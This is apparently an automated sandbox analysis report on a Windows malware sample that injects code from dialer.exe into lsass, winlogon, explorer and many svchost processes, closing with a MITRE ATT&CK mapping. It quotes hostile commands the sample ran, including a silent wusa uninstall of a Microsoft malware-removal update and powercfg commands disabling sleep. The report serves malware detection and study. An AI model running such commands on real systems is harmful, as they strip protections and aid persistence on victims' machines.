Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 217AF8C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\smartscreen.exe base: 226D8930000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 13E5E930000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1F844120000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 21197E30000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 223DC870000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 1B4698D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 27234C50000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 28543540000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\audiodg.exe base: 2B684340000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1BE58920000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1CE69900000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 29283380000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 193FA700000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1CBD1BD0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 28A84D30000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 28571390000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 2551B760000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 20C383F0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 20C38E60000 value starts with: 4D5A

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\System32\dialer.exe

Memory written: PID: 1028 base: 11C0000 value: 4D

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\Desktop\file.exe	Thread register set: target process: 6768	Jump to behavior
Source: C:\ProgramData\IGaming\driver.exe	Thread register set: target process: 7120	Jump to behavior
Source: C:\ProgramData\IGaming\driver.exe	Thread register set: target process: 2876	Jump to behavior
Source: C:\ProgramData\IGaming\driver.exe	Thread register set: target process: 528	Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\winlogon.exe base: 1E858950000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\lsass.exe base: 140ADFC0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 195DD590000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dwm.exe base: 1160C9B0000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 254A2D50000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 1428DD00000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 1428DD00000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 1428DD00000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 1428DD00000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 1428DD00000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 1428DD00000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 1428DD00000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 1428DD00000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 1428DD00000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 1428DD00000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 1428DD00000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\winlogon.exe base: 1E8589B0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\lsass.exe base: 140AE890000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 195DE1A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dwm.exe base: 1160C9E0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 257E1070000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F28C1D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CA97FD0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D2652E0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 254A27A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 24B87DA0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 205FB3C0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A205670000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 18EC1F30000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 25CE3BC0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 26238950000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2786E560000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1611FF70000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 27C0F350000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B279570000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E70A460000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22D13110000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22C8C580000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2825F1D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2AA5D9C0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 20BAEC90000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D2DC1B0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C782530000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\spoolsv.exe base: A60000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 24066EB0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A3FD9A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 181CEDB0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A142790000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 195B6F30000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1428DCA0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 1B973730000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1DBF9DB0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D76CCC0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A239D90000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 17CFA390000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23FB7270000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1DF53B50000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 164E88A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 25177B50000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 28D5D340000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\sihost.exe base: 24EB5E10000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 20859990000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F153C20000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D241D40000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 16FADAD0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ctfmon.exe base: 20E03070000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 15204DB0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\explorer.exe base: 11C0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 175C5280000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dasHost.exe base: 1CE76AA0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22EF1B30000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1C7F34F0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 261DE4D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 22E74520000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 1B1A9D00000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 217AF8C0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\smartscreen.exe base: 226D8930000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 13E5E930000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1F844120000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 21197E30000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 223DC870000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 1B4698D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 27234C50000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 28543540000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\audiodg.exe base: 2B684340000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1BE58920000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1CE69900000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 29283380000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 193FA700000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1CBD1BD0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 28A84D30000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 28571390000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 2551B760000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 20C383F0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 20C38E60000

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\ProgramData\IGaming\driver.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\ProgramData\IGaming\driver.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\ProgramData\IGaming\driver.exe	Process created: C:\Windows\System32\dialer.exe dialer.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart

Source: C:\Windows\System32\dialer.exe

Code function: 14_2_0000000140001B54 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

14_2_0000000140001B54

Source: C:\Windows\System32\dialer.exe

Code function: 14_2_0000000140001B54 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

14_2_0000000140001B54

Source: winlogon.exe, 00000015.00000002.3382587390.000001E858D81000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000015.00000000.2115486873.000001E858D81000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 0000001F.00000000.2129847734.0000011605EC1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: winlogon.exe, 00000015.00000002.3382587390.000001E858D81000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000015.00000000.2115486873.000001E858D81000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 0000001F.00000000.2129847734.0000011605EC1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: winlogon.exe, 00000015.00000002.3382587390.000001E858D81000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000015.00000000.2115486873.000001E858D81000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 0000001F.00000000.2129847734.0000011605EC1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: winlogon.exe, 00000015.00000002.3382587390.000001E858D81000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000015.00000000.2115486873.000001E858D81000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 0000001F.00000000.2129847734.0000011605EC1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\System32\winlogon.exe

Code function: 21_2_000001E8589636F0 cpuid

21_2_000001E8589636F0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\System32\Tasks\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTask VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\System32\Tasks\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTask VolumeInformation

Source: C:\Windows\System32\dialer.exe

Code function: 14_2_0000000140001B54 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

14_2_0000000140001B54

Source: C:\Windows\System32\winlogon.exe

Code function: 21_2_000001E858987960 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

21_2_000001E858987960

Source: C:\Windows\System32\dialer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Lowering of HIPS / PFW / Operating System Security Settings

Modifies power options to not sleep / hibernate

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\ProgramData\IGaming\driver.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\ProgramData\IGaming\driver.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior
Source: C:\ProgramData\IGaming\driver.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\ProgramData\IGaming\driver.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior

Source: dialer.exe, 0000002D.00000002.3378194513.0000021C6D206000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: procexp.exe
Source: Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.52.dr	Binary or memory string: MsMpEng.exe

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 Credential API Hooking	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Native API	11 Windows Service	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	1 Credential API Hooking	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Service Execution	Logon Script (Windows)	11 Windows Service	2 Obfuscated Files or Information	Security Account Manager	24 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	713 Process Injection	1 Install Root Certificate	NTDS	441 Security Software Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction
